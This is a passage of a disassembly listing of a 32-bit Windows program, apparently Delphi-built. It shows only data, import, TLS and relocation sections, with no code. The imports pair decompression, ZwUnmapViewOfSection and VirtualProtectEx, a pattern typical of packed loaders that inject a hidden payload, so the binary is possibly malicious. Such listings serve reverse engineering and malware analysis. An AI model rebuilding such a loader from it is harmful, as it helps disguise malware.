off_4093B8	dd offset off_403910	; DATA XREF: CODE:00406A88o
off_4093BC	dd offset off_403938	; DATA XREF: CODE:00406A4Co
off_4093C0	dd offset dword_40A03C	; DATA XREF: CODE:00405844r
off_4093C4	dd offset off_403940	; DATA XREF: CODE:00406A40o
off_4093C8	dd offset off_403818	; DATA XREF: CODE:004068F0o
off_4093CC	dd offset off_403868	; DATA XREF: sub_405CFC+110r
off_4093D0	dd offset off_4038A0	; DATA XREF: CODE:00406B30o
off_4093D4	dd offset off_403858	; DATA XREF: sub_405B74+63r
off_4093D8	dd offset off_4038C0	; DATA XREF: CODE:00406B00o
off_4093DC	dd offset off_403998	; DATA XREF: CODE:004069BCo
off_4093E0	dd offset off_403880	; DATA XREF: CODE:00406B60o
off_4093E4	dd offset off_4037B8	; DATA XREF: sub_405CFC+16Cr
					; CODE:00406938o
off_4093E8	dd offset off_403740	; DATA XREF: CODE:004069A8o
off_4093EC	dd offset off_4037D0	; DATA XREF: CODE:00406930o
off_4093F0	dd offset off_403778	; DATA XREF: CODE:00406970o
off_4093F4	dd offset off_403770	; DATA XREF: CODE:00406978o
off_4093F8	dd offset off_4038C8	; DATA XREF: CODE:00406AF4o
off_4093FC	dd offset off_403788	; DATA XREF: CODE:00406960o
off_409400	dd offset off_403870	; DATA XREF: CODE:00406B78o
off_409404	dd offset off_4037D8	; DATA XREF: CODE:00405786r
off_409408	dd offset off_4037B0	; DATA XREF: CODE:00406940o
off_40940C	dd offset off_403790	; DATA XREF: CODE:00406958o
off_409410	dd offset off_403800	; DATA XREF: sub_405CFC+45r
off_409414	dd offset off_403898	; DATA XREF: CODE:00406B3Co
		align 200h
DATA		ends

; Section 3. (virtual address 0000A000)
; Virtual size			: 00000A4D (   2637.)
; Section size in file		: 00000A4D (   2637.)
; Offset to raw	data for section: 0000A000
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
BSS		segment	para public '' use32
		assume cs:BSS
		;org 40A000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
off_40A000	dd offset sub_402DB8	; DATA XREF: sub_403450+13w
off_40A004	dd offset dword_405F94	; DATA XREF: DATA:off_409334o
off_40A008	dd offset sub_405B20	; DATA XREF: sub_40128C+9r
					; sub_40128C+16r ...
off_40A00C	dd offset sub_405CE4	; DATA XREF: DATA:off_40932Co
off_40A010	dd offset sub_405EC8	; DATA XREF: sub_4021A4+25r
					; DATA:off_409338o
off_40A014	dd offset sub_4010E8	; DATA XREF: sub_4020F0+14r
					; sub_40210C+16r ...
off_40A018	dd offset sub_4010F8	; DATA XREF: sub_4021A4+D2r
					; sub_402428+Aw
off_40A01C	dd offset dword_403A24	; DATA XREF: DATA:off_4092FCo
off_40A020	dd offset sub_405C30	; DATA XREF: DATA:off_4093A0o
dword_40A024	dd 0							; sub_4024E0+A9r
off_40A028	dd offset sub_405C4C	; DATA XREF: DATA:off_4092D4o
dword_40A02C	dd 400000h	dword_40A030	dd 4DCh		byte_40A034	db 0			; DATA XREF: sub_402428+2Ew
		align 4
dword_40A038	dd 0		dword_40A03C	dd 0		dword_40A040	dd 73h dup(0)	dword_40A20C	dd 73h dup(0)						; DATA:off_409320o
dword_40A3D8	dd 73h dup(0)						; sub_4017E8+26o
dword_40A5A4	dd 0FFFFFFFFh						; sub_403450w
dword_40A5A8	dd 140000h						; sub_4011C4+Dr ...
dword_40A5AC	dd 2 dup(0)						; sub_4024B0+Do ...
off_40A5B4	dd offset dword_407B20	; DATA XREF: sub_40240Cr
					; sub_402428+14w
dword_40A5B8	dd 9							; sub_402428+1Bw
off_40A5BC	dd offset dword_409094	; DATA XREF: sub_402428+20w
		dd 6 dup(0)
dword_40A5D8	dd 0							; sub_403408+22r
off_40A5DC	dd offset sub_402D68	; DATA XREF: sub_402D80o
					; sub_402D80+19w ...
		dd 0Ah dup(offset sub_402D60)
off_40A608	dd offset sub_402D60	; DATA XREF: sub_402DA8r
		dd 1Fh dup(offset sub_402D60)
byte_40A688	db 0			; DATA XREF: sub_4034D8r
byte_40A689	db 0			; DATA XREF: sub_406D18+2Er
		align 4
TlsIndex	dd 0			; DATA XREF: sub_403494+Cr
					; sub_403494+37r ...
		dd 0
dword_40A694	dd 400000h						; sub_403524+16r ...
dword_40A698	dd 0FFFFFFFFh						; CODE:loc_403598w
dword_40A69C	dd 0		dword_40A6A0	dd 0FFFFFFFFh						; sub_4035D0w
dword_40A6A4	dd 0FFFFFFFFh						; sub_4036E8w
dword_40A6A8	dd 0FFFFFFFFh						; sub_403720w
dword_40A6AC	dd 0FFFFFFFFh						; sub_4039D0w
dword_40A6B0	dd 145BA0h						; sub_4064C4+52o ...
byte_40A6B4	db 0			; DATA XREF: sub_404C38+24r
					; sub_4064C4+7Bw
byte_40A6B5	db 0			; DATA XREF: sub_404C38+2Cr
					; sub_4064C4+9Fw
byte_40A6B6	db 2Ch			; DATA XREF: sub_404C38+14r
					; sub_4064C4+B2w
byte_40A6B7	db 2Eh			; DATA XREF: sub_404C38+Cr
					; sub_4064C4+C5w
byte_40A6B8	db 2			; DATA XREF: sub_4047F6+296r
					; sub_4064C4+E9w
byte_40A6B9	db 2Fh			; DATA XREF: sub_4064C4+FCw
		align 4
dword_40A6BC	dd 145C00h						; sub_406B98+135o
dword_40A6C0	dd 145C38h						; sub_406B98+12Bo
byte_40A6C4	db 3Ah			; DATA XREF: sub_4064C4+169w
		align 4
dword_40A6C8	dd 145C20h						; sub_406B98+121o
dword_40A6CC	dd 145C60h						; sub_406B98+117o
dword_40A6D0	dd 145CC0h						; sub_406B98+10Do
dword_40A6D4	dd 145CE0h						; sub_406B98+103o
dword_40A6D8	dd 1457D8h, 145808h, 145840h, 145870h, 1458A0h,	1458D0h
					; DATA XREF: sub_4051EC+29o
					; sub_406B98+EEo
		dd 145900h, 145930h, 145960h, 145998h, 1459C8h,	145A00h
dword_40A708	dd 1457F0h, 145820h, 145858h, 145888h, 1458B8h,	1458E8h
					; DATA XREF: sub_4051EC+2Eo
					; sub_406B98+D9o
		dd 145918h, 145948h, 145978h, 1459B0h, 1459E0h,	145A18h
dword_40A738	dd 145A38h, 145A68h, 145A98h, 145AC8h, 145B00h,	145B38h
					; DATA XREF: sub_4051EC+8Ao
					; sub_406B98+C4o
		dd 145B68h
dword_40A754	dd 145A50h, 145A80h, 145AB0h, 145AE0h, 145B18h,	145B50h
					; DATA XREF: sub_4051EC+8Fo
					; sub_406B98+AFo
		dd 145B80h
dword_40A770	dd 409h							; sub_406350+Cw ...
dword_40A774	dd 9							; sub_406338r ...
dword_40A778	dd 1							; sub_406350+53w
dword_40A77C	dd 2C0000h						; sub_405310+1Eo ...
dword_40A780	dd 6 dup(0)	dword_40A798	dd 0							; sub_40534C+43w
dword_40A79C	dd 7 dup(0)	dword_40A7B8	dd 0		dword_40A7BC	dd 0		dword_40A7C0	dd 0FFFFFFFFh						; sub_406D18+11w
dword_40A7C4	dd 145730h						; sub_405FA4+12w ...
dword_40A7C8	dd 145768h						; sub_405FA4+29w ...
dword_40A7CC	dd 0		dword_40A7D0	dd 0FFFFFFFFh						; sub_406F70w
dword_40A7D4	dd 103h							; CODE:00407C68r
dword_40A7D8	dd 0							; CODE:00407CC8r ...
dword_40A7DC	dd 17C960h						; CODE:00407CD3o ...
byte_40A7E0	db 0			; DATA XREF: CODE:loc_407C61o
					; CODE:00407E21r
byte_40A7E1	db 3 dup(0)		; DATA XREF: CODE:00407D4Ao
		dd 3Fh dup(0)
		db 0
byte_40A8E1	db 1			; DATA XREF: CODE:00407CECr
		align 4
dword_40A8E4	dd 145C78h						; CODE:00407C94o ...
dword_40A8E8	dd 0							; CODE:00407D72r ...
dword_40A8EC	dd 53h dup(0)						; CODE:00407EC5o ...
dword_40AA38	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrary					; CODE:00407FA5r ...
dword_40AA3C	dd 7CA40EE0h						; CODE:00407F2Br
dword_40AA40	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; CODE:00407C5Br ...
dword_40AA44	dd 7C800000h						; CODE:00407BCEr ...
dword_40AA48	dd 7C9C0000h						; CODE:00407C14r ...
		align 200h
BSS		ends

; Section 4. (virtual address 0000B000)
; Virtual size			: 0000077A (   1914.)
; Section size in file		: 0000077A (   1914.)
; Offset to raw	data for section: 0000B000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata		segment	para public 'DATA' use32
		assume cs:_idata
		;org 40B000h
		dd 3 dup(0)
		dd 0B228h, 0B0DCh, 3 dup(0)
		dd 0B476h, 0B170h, 3 dup(0)
		dd 0B49Ch, 0B17Ch, 3 dup(0)
		dd 0B4DCh, 0B18Ch, 3 dup(0)
		dd 0B4FAh, 0B194h, 3 dup(0)
		dd 0B518h, 0B19Ch, 3 dup(0)
		dd 0B6CEh, 0B1FCh, 3 dup(0)
		dd 0B716h, 0B210h, 3 dup(0)
		dd 0B736h, 0B218h, 3 dup(0)
		dd 0B758h, 0B220h, 5 dup(0)
dword_40B0DC	dd 7C809728h	; resolved to->KERNEL32.GetCurrentThreadIddword_40B0E0	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiBytedword_40B0E4	dd 7C80BDB6h	; resolved to->KERNEL32.lstrlenAdword_40B0E8	dd 7C810111h	; resolved to->KERNEL32.lstrcpynAdword_40B0EC	dd 7C801D4Fh	; resolved to->KERNEL32.LoadLibraryExAdword_40B0F0	dd 7C80A415h	; resolved to->KERNEL32.GetThreadLocaledword_40B0F4	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddressdword_40B0F8	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoAdword_40B0FC	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Errordword_40B100	dd 7C8137D9h	; resolved to->KERNEL32.FindFirstFileAdword_40B104	dd 7C80EDD7h	; resolved to->KERNEL32.FindClosedword_40B108	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcessdword_40B10C	dd 7C810D87h	; resolved to->KERNEL32.WriteFile					; CODE:loc_40183Cr
dword_40B110	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilterdword_40B114	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointerdword_40B118	dd 7C832044h	; resolved to->KERNEL32.SetEndOfFiledword_40B11C	dd 7C937A40h	; resolved to->NTDLL.RtlUnwinddword_40B120	dd 7C80180Eh	; resolved to->KERNEL32.ReadFiledword_40B124	dd 7C812A09h	; resolved to->KERNEL32.RaiseExceptiondword_40B128	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandledword_40B12C	dd 7C810A77h	; resolved to->KERNEL32.GetFileSizedword_40B130	dd 7C80176Bh	; resolved to->KERNEL32.GetSystemTimedword_40B134	dd 7C810E51h	; resolved to->KERNEL32.GetFileTypedword_40B138	dd 7C801A24h	; resolved to->KERNEL32.CreateFileAdword_40B13C	dd 7C809B47h	; resolved to->KERNEL32.CloseHandledword_40B140	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineAdword_40B144	dd 7C809BC5h	; resolved to->KERNEL32.TlsSetValuedword_40B148	dd 7C809740h	; resolved to->KERNEL32.TlsGetValuedword_40B14C	dd 7C80998Dh	; resolved to->KERNEL32.LocalAllocdword_40B150	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleAdword_40B154	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameAdword_40B158	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrarydword_40B15C	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeapdword_40B160	dd 7C9179FDh	; resolved to->NTDLL.RtlReAllocateHeapdword_40B164	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeapdword_40B168	dd 7C80ABC1h	; resolved to->KERNEL32.GetProcessHeap		align 10h
dword_40B170	dd 7E42DFA8h	; resolved to->USER32.LoadStringAdword_40B174	dd 7E42DF50h	; resolved to->USER32.CharNextA		dd 0
dword_40B17C	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExAdword_40B180	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExAdword_40B184	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey		dd 0
dword_40B18C	dd 77124880h			dd 0
dword_40B194	dd 77DFD4C9h	; resolved to->ADVAPI32.GetUserNameA		dd 0
dword_40B19C	dd 7C810D87h	; resolved to->KERNEL32.WriteFiledword_40B1A0	dd 7C80B9D1h	; resolved to->KERNEL32.VirtualQuerydword_40B1A4	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcessdword_40B1A8	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryAdword_40B1AC	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExAdword_40B1B0	dd 7C80A415h	; resolved to->KERNEL32.GetThreadLocaledword_40B1B4	dd 7C8760DFh	; resolved to->KERNEL32.GetStringTypeExAdword_40B1B8	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandledword_40B1BC	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddressdword_40B1C0	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleAdword_40B1C4	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameAdword_40B1C8	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoAdword_40B1CC	dd 7C814AF2h	; resolved to->KERNEL32.GetEnvironmentVariableAdword_40B1D0	dd 7C8302EDh	; resolved to->KERNEL32.GetDiskFreeSpaceAdword_40B1D4	dd 7C834FFEh	; resolved to->KERNEL32.GetCurrentDirectoryAdword_40B1D8	dd 7C812E76h	; resolved to->KERNEL32.GetCPInfodword_40B1DC	dd 7C809915h	; resolved to->KERNEL32.GetACPdword_40B1E0	dd 7C8137D9h	; resolved to->KERNEL32.FindFirstFileAdword_40B1E4	dd 7C80EDD7h	; resolved to->KERNEL32.FindClosedword_40B1E8	dd 7C80E866h	; resolved to->KERNEL32.FileTimeToLocalFileTimedword_40B1EC	dd 7C83065Dh	; resolved to->KERNEL32.FileTimeToDosDateTimedword_40B1F0	dd 7C838211h	; resolved to->KERNEL32.EnumCalendarInfoAdword_40B1F4	dd 7C8217ACh	; resolved to->KERNEL32.CreateDirectoryA		dd 0
dword_40B1FC	dd 7E45058Ah	; resolved to->USER32.MessageBoxAdword_40B200	dd 7E42DFA8h	; resolved to->USER32.LoadStringAdword_40B204	dd 7E418F9Ch	; resolved to->USER32.GetSystemMetricsdword_40B208	dd 7E42DF50h	; resolved to->USER32.CharNextA		align 10h
dword_40B210	dd 7C961329h	; resolved to->NTDLL.RtlDecompressBuffer		align 8
dword_40B218	dd 7C90E960h	; resolved to->NTDLL.ZwUnmapViewOfSection		align 10h
dword_40B220	dd 7C801A5Dh	; resolved to->KERNEL32.VirtualProtectEx		align 8
aKernel32_dll	db 'kernel32.dll',0
		align 4
aGetcurrentthre	db 'GetCurrentThreadId',0
		align 4
		dd 69570000h, 68436564h, 6F547261h, 746C754Dh, 74794269h
		dd 65h,	7274736Ch, 416E656Ch, 0
aLstrcpyna	db 'lstrcpynA',0
		align 4
aLoadlibraryexa	db 'LoadLibraryExA',0
		align 4
		dd 65470000h, 72685474h, 4C646165h, 6C61636Fh, 65h, 50746547h
		dd 41636F72h, 65726464h, 7373h,	65470000h, 636F4C74h, 49656C61h
		dd 416F666Eh, 0
aGetlasterror	db 'GetLastError',0
		align 4
aFindfirstfilea	db 'FindFirstFileA',0
		align 4
		dd 69460000h, 6C43646Eh, 65736Fh, 78450000h, 72507469h
		dd 7365636Fh, 73h, 74697257h, 6C694665h, 65h, 61686E55h
		dd 656C646Eh, 63784564h, 69747065h, 69466E6Fh, 7265746Ch
		dd 0
aSetfilepointer	db 'SetFilePointer',0
		align 4
		dd 65530000h, 646E4574h, 6946664Fh, 656Ch, 74520000h, 776E556Ch
		dd 646E69h, 65520000h, 69466461h, 656Ch, 61520000h, 45657369h
		dd 70656378h, 6E6F6974h, 0
aGetstdhandle	db 'GetStdHandle',0
		align 4
aGetfilesize	db 'GetFileSize',0
		dd 65470000h, 73795374h, 546D6574h, 656D69h, 65470000h
		dd 6C694674h, 70795465h, 65h, 61657243h, 69466574h, 41656Ch
		dd 6C430000h, 4865736Fh, 6C646E61h, 65h, 43746547h, 616D6D6Fh
		dd 694C646Eh, 41656Eh, 6C540000h, 74655373h, 756C6156h
		dd 65h,	47736C54h, 61567465h, 65756Ch, 6F4C0000h, 416C6163h
		dd 636F6C6Ch, 0
aGetmodulehandl	db 'GetModuleHandleA',0
		align 4
aGetmodulefilen	db 'GetModuleFileNameA',0
		align 10h
		dd 72460000h, 694C6565h, 72617262h, 79h, 70616548h, 65657246h
		dd 0
aHeaprealloc	db 'HeapReAlloc',0
		dd 65480000h, 6C417061h, 636F6Ch, 65470000h, 6F725074h
		dd 73736563h, 70616548h, 73750000h, 32337265h, 6C6C642Eh
		dd 0
aLoadstringa	db 'LoadStringA',0
		dd 68430000h, 654E7261h, 417478h, 61766461h, 32336970h
		dd 6C6C642Eh, 0
aRegqueryvaluee	db 'RegQueryValueExA',0
		align 10h
aRegopenkeyexa	db 'RegOpenKeyExA',0
		align 10h
aRegclosekey	db 'RegCloseKey',0
aOleaut32_dll	db 'oleaut32.dll',0
		align 4
aSysfreestring	db 'SysFreeString',0
aAdvapi32_dll	db 'advapi32.dll',0
		align 4
		dd 65470000h, 65735574h, 6D614E72h, 4165h, 6E72656Bh, 32336C65h
		dd 6C6C642Eh, 0
aWritefile	db 'WriteFile',0
		align 4
aVirtualquery	db 'VirtualQuery',0
		align 4
aTerminateproce	db 'TerminateProcess',0
		align 4
aLoadlibrarya	db 'LoadLibraryA',0
		align 4
aGetversionexa	db 'GetVersionExA',0
		align 4
aGetthreadlocal	db 'GetThreadLocale',0
		dd 65470000h, 72745374h, 54676E69h, 45657079h, 4178h, 65470000h
		dd 64745374h, 646E6148h, 656Ch,	65470000h, 6F725074h, 64644163h
		dd 73736572h, 0
aGetmodulehan_0	db 'GetModuleHandleA',0
		align 4
aGetmodulefil_0	db 'GetModuleFileNameA',0
		align 4
		dd 65470000h, 636F4C74h, 49656C61h, 416F666Eh, 0
aGetenvironment	db 'GetEnvironmentVariableA',0
		dd 65470000h, 73694474h, 6572466Bh, 61705365h, 416563h
		dd 65470000h, 72754374h, 746E6572h, 65726944h, 726F7463h
		dd 4179h, 65470000h, 49504374h,	6F666Eh, 65470000h, 50434174h
		dd 0
aFindfirstfil_0	db 'FindFirstFileA',0
		align 4
		dd 69460000h, 6C43646Eh, 65736Fh, 69460000h, 6954656Ch
		dd 6F54656Dh, 61636F4Ch, 6C69466Ch, 6D695465h, 65h, 656C6946h
		dd 656D6954h, 6F446F54h, 74614473h, 6D695465h, 65h, 6D756E45h
		dd 656C6143h, 7261646Eh, 6F666E49h, 41h, 61657243h, 69446574h
		dd 74636572h, 4179726Fh, 73750000h, 32337265h, 6C6C642Eh
		dd 0
aMessageboxa	db 'MessageBoxA',0
		dd 6F4C0000h, 74536461h, 676E6972h, 41h, 53746547h, 65747379h
		dd 74654D6Dh, 73636972h, 0
aCharnexta	db 'CharNextA',0
aNtdll_dll	db 'ntdll.dll',0
		dd 74520000h, 6365446Ch, 72706D6Fh, 42737365h, 65666675h
		dd 746E0072h, 2E6C6C64h, 6C6C64h, 775A0000h, 616D6E55h
		dd 65695670h, 53664F77h, 69746365h, 6E6Fh, 6E72656Bh, 32336C65h
		dd 6C6C642Eh, 0
aVirtualprotect	db 'VirtualProtectEx',0
		align 100h
_idata		ends

; Section 5. (virtual address 0000C000)
; Virtual size			: 00000008 (	  8.)
; Section size in file		: 00000008 (	  8.)
; Offset to raw	data for section: 0000C000
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
_tls		segment	para public '' use32
		assume cs:_tls
		;org 40C000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
TlsStart	dd 2 dup(0)		; DATA XREF: .rdata:TlsDirectoryo
TlsEnd		dd 7Eh dup(?)		; DATA XREF: .rdata:TlsEnd_ptro
_tls		ends

; Section 6. (virtual address 0000D000)
; Virtual size			: 00000018 (	 24.)
; Section size in file		: 00000018 (	 24.)
; Offset to raw	data for section: 0000D000
; Flags	50000040: Data Shareable Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 40D000h
TlsDirectory	dd offset TlsStart
TlsEnd_ptr	dd offset TlsEnd
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsSizeOfZeroFill
TlsSizeOfZeroFill dd 0			; DATA XREF: .rdata:TlsCallbacks_ptro
TlsCharacteristics dd 0
		align 200h
_rdata		ends

; Section 7. (virtual address 0000E000)
; Virtual size			: 00000B00 (   2816.)
; Section size in file		: 00000B00 (   2816.)
; Offset to raw	data for section: 0000E000
; Flags	50000040: Data Shareable Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_reloc		segment	para public 'DATA' use32
		assume cs:_reloc
		;org 40E000h
		dd 1000h, 0CCh,	300C3000h, 3038302Ch, 3040303Ch, 30483044h
		dd 3050304Ch, 30623054h, 3072306Ah, 3082307Ah, 3092308Ah
		dd 30A2309Ah, 30B230AAh, 30C230BAh, 30D230CAh, 30E230DAh
		dd 30F230EAh, 310230FAh, 3112310Ah, 3122311Ah, 3132312Ah
		dd 3142313Ah, 3152314Ah, 3162315Ah, 3172316Ah, 3182317Ah
		dd 3192318Ah, 31A2319Ah, 31B231AAh, 31C931B8h, 31EB31D2h
		dd 320631F4h, 323F321Eh, 32713258h, 32973282h, 32C432A4h
		dd 3607351Eh, 36373630h, 370E363Eh, 37563723h, 37B837A6h
		dd 380F3808h, 38DE383Eh, 39893931h, 3A003994h, 3A183A07h
		dd 3A743A24h, 3C433C2Bh, 3C703C54h, 3C993C88h, 3EED3CA3h
		dd 2000h, 88h, 30F23093h, 310E3106h, 313C3124h,	317E314Ah
		dd 31CB319Ah, 320131F8h, 323C3233h, 32783271h, 32E7329Ah
		dd 3337332Bh, 33C33389h, 33DA33C9h, 33EF33E9h, 340D33FDh
		dd 342A3420h, 3434342Eh, 343D3438h, 344A3444h, 34583452h
		dd 34BE34B4h, 34EA34E5h, 351134EFh, 3530351Ah, 35633548h
		dd 358B3582h, 35BE35B1h, 3CD93A3Fh, 3D813CE3h, 3D953D8Ah
		dd 3DA23D9Ah, 3F063DAAh, 3F693F59h, 3000h, 2C8h, 31473129h
		dd 317F3165h, 31EF31CDh, 3371336Ah, 340F337Eh, 3423341Bh
		dd 3432342Ch, 3452343Fh, 3465345Fh, 34783469h, 34CC34A2h
		dd 34DF34DAh, 350834F8h, 352A3519h, 353B3536h, 35473540h
		dd 3558354Eh, 357B356Fh, 359A3588h, 35B335A7h, 35D235C0h
		dd 35E235DAh, 35F235EAh, 360235FAh, 3612360Ah, 3622361Ah
		dd 3632362Ah, 3642363Ah, 3652364Ah, 3662365Ah, 3672366Ah
		dd 3682367Ah, 3692368Ah, 36A2369Ah, 36B236AAh, 36CB36BFh
		dd 36EA36D8h, 370336F7h, 37223710h, 37303728h, 37403738h
		dd 37503748h, 37603758h, 37703768h, 37803778h, 37903788h
		dd 37A03798h, 37B037A8h, 37C037B8h, 37D037C8h, 37E037D8h
		dd 37F037E8h, 380037F8h, 38103808h, 38203818h, 38303828h
		dd 38403838h, 38503848h, 38603858h, 38703868h, 38803878h
		dd 38903888h, 38A03898h, 38B038A8h, 38C038B8h, 38D038C8h
		dd 38E038D8h, 38F038E8h, 390038F8h, 39103908h, 39203918h
		dd 39303928h, 39403938h, 39503948h, 39603958h, 39703968h
		dd 39803978h, 39903988h, 39A73998h, 39C039B3h, 39D839D2h
		dd 39F839E4h, 3A043A00h, 3A0C3A08h, 3A143A10h, 3A1C3A18h
		dd 3A2E3A20h, 3A603A40h, 3A6C3A68h, 3A743A70h, 3A7C3A78h
		dd 3A843A80h, 3A9C3A88h, 3AC43ABCh, 3ACC3AC8h, 3AD43AD0h
		dd 3ADC3AD8h, 3AE43AE0h, 3B183AF8h, 3B243B20h, 3B2C3B28h
		dd 3B343B30h, 3B3C3B38h, 3B503B40h, 3B783B70h, 3B803B7Ch
		dd 3B883B84h, 3B903B8Ch, 3B983B94h, 3BC83BA8h, 3BD43BD0h
		dd 3BDC3BD8h, 3BE43BE0h, 3BEC3BE8h, 3C083BF0h, 3C303C28h
		dd 3C383C34h, 3C403C3Ch, 3C483C44h, 3C503C4Ch, 3C803C60h
		dd 3C8C3C88h, 3C943C90h, 3C9C3C98h, 3CA43CA0h, 3CB83CA8h
		dd 3CE03CD8h, 3CE83CE4h, 3CF03CECh, 3CF83CF4h, 3D003CFCh
		dd 3D303D10h, 3D3C3D38h, 3D443D40h, 3D4C3D48h, 3D543D50h
		dd 3D6C3D58h, 3D943D8Ch, 3D9C3D98h, 3DA43DA0h, 3DAC3DA8h
		dd 3DB43DB0h, 3DE43DC4h, 3DF03DECh, 3DF83DF4h, 3E003DFCh
		dd 3E083E04h, 3E1C3E0Ch, 3E443E3Ch, 3E4C3E48h, 3E543E50h
		dd 3E5C3E58h, 3E643E60h, 3E943E74h, 3EA03E9Ch, 3EA83EA4h
		dd 3EB03EACh, 3EB83EB4h, 3ECC3EBCh, 3EF43EECh, 3EFC3EF8h
		dd 3F043F00h, 3F0C3F08h, 3F143F10h, 3F443F24h, 3F503F4Ch
		dd 3F583F54h, 3F603F5Ch, 3F683F64h, 3F803F6Ch, 3FA83FA0h
		dd 3FB03FACh, 3FB83FB4h, 3FC03FBCh, 3FC83FC4h, 3FFC3FDCh
		dd 4000h, 13Ch,	30083004h, 3010300Ch, 30183014h, 3020301Ch
		dd 30383024h, 30603058h, 30683064h, 3070306Ch, 30783074h
		dd 3080307Ch, 30B83098h, 30C430C0h, 30CC30C8h, 30D430D0h
		dd 30DC30D8h, 30F030E0h, 31183110h, 3120311Ch, 31283124h
		dd 3130312Ch, 31383134h, 316C314Ch, 31783174h, 3180317Ch
		dd 31883184h, 3190318Ch, 31A43194h, 31CC31C4h, 31D431D0h
		dd 31DC31D8h, 31E431E0h, 31EC31E8h, 32203200h, 322C3228h
		dd 32343230h, 323C3238h, 32443240h, 32603248h, 32883280h
		dd 3290328Ch, 32983294h, 32A0329Ch, 32A832A4h, 32DC32BCh
		dd 32E832E4h, 32F032ECh, 32F832F4h, 330032FCh, 33183304h
		dd 33403338h, 33483344h, 3350334Ch, 33583354h, 3360335Ch
		dd 33853378h, 339C338Dh, 33B133A9h, 34F233DCh, 3819369Ah
		dd 3821381Dh, 38293825h, 3831382Dh, 38393835h, 3841383Dh
		dd 38493845h, 3851384Dh, 38593855h, 39C7385Dh, 3A8F39CEh
		dd 3C453C19h, 3C553C4Dh, 3C653C5Dh, 3CF93CCAh, 3D183D14h
		dd 3D203D1Ch, 3E633D24h, 3FB73FA2h, 5000h, 0D0h, 31FE30C2h
		dd 321B3216h, 324A3227h, 327C3277h, 32BB3296h, 332732EDh
		dd 33573331h, 33923373h, 33CE33A4h, 341333E2h, 343C3422h
		dd 3489344Eh, 34D134A9h, 3570353Bh, 35963589h, 35BE35AFh
		dd 35F235D7h, 36FF362Ch, 3744373Fh, 3776374Ch, 37903787h
		dd 384F3845h, 38A5388Ah, 394238AEh, 3A003971h, 3A803A3Ah
		dd 3AB93A97h, 3ACE3AC7h, 3AED3AE6h, 3B183B00h, 3B3F3B37h
		dd 3B8F3B4Dh, 3BD83BADh, 3BFB3BE7h, 3C553C4Eh, 3D283CF6h
		dd 3D513D42h, 3E1F3E0Dh, 3E7B3E69h, 3EDB3E8Fh, 3F3C3F07h
		dd 3F5A3F4Bh, 3FA63F76h, 3FB73FADh, 3FC43FBDh, 3FD33FCEh
		dd 3FDE3FD9h, 3FE93FE4h, 3FF63FEFh, 3FFCh, 6000h, 250h
		dd 30073001h, 3012300Ch, 301F3019h, 30323029h, 3043303Eh
		dd 3058304Ch, 3066305Dh, 3078306Fh, 308A3081h, 30B930B0h
		dd 30CB30C2h, 310A30D0h, 3154312Ah, 318C316Eh, 31CD31A5h
		dd 327431E1h, 32E732BBh, 33393315h, 335E3345h, 33723368h
		dd 33993384h, 33A933A4h, 33BB33AEh, 33D833D1h, 33EF33EAh
		dd 340933FFh, 345D343Fh, 348C347Ah, 34EE34D8h, 35253517h
		dd 35493540h, 35773564h, 3593358Ah, 35C135AEh, 35E935CAh
		dd 361635F7h, 3637362Eh, 3659364Bh, 368B366Dh, 36BC36ADh
		dd 36ED36CAh, 371E370Fh, 3736372Eh, 3753374Bh, 377D3770h
		dd 385E383Eh, 3879386Eh, 3887387Fh, 38CC388Ch, 38D438D0h
		dd 38DC38D8h, 38E438E0h, 38EC38E8h, 38F438F0h, 38FC38F8h
		dd 39043900h, 390C3908h, 39143910h, 391C3918h, 39243920h
		dd 392C3928h, 39343930h, 393C3938h, 39443940h, 394C3948h
		dd 39543950h, 395C3958h, 39643960h, 396C3968h, 39743970h
		dd 397C3978h, 39843980h, 398C3988h, 39943990h, 399C3998h
		dd 39A439A0h, 39AC39A8h, 39B839B0h, 39C439BCh, 39D039C8h
		dd 39DC39D4h, 39E839E0h, 39F439ECh, 3A0039F8h, 3A0C3A04h
		dd 3A183A10h, 3A243A1Ch, 3A303A28h, 3A3C3A34h, 3A483A40h
		dd 3A543A4Ch, 3A603A58h, 3A6C3A64h, 3A783A70h, 3A843A7Ch
		dd 3A903A88h, 3A9C3A94h, 3AA83AA0h, 3AB43AACh, 3AC03AB8h
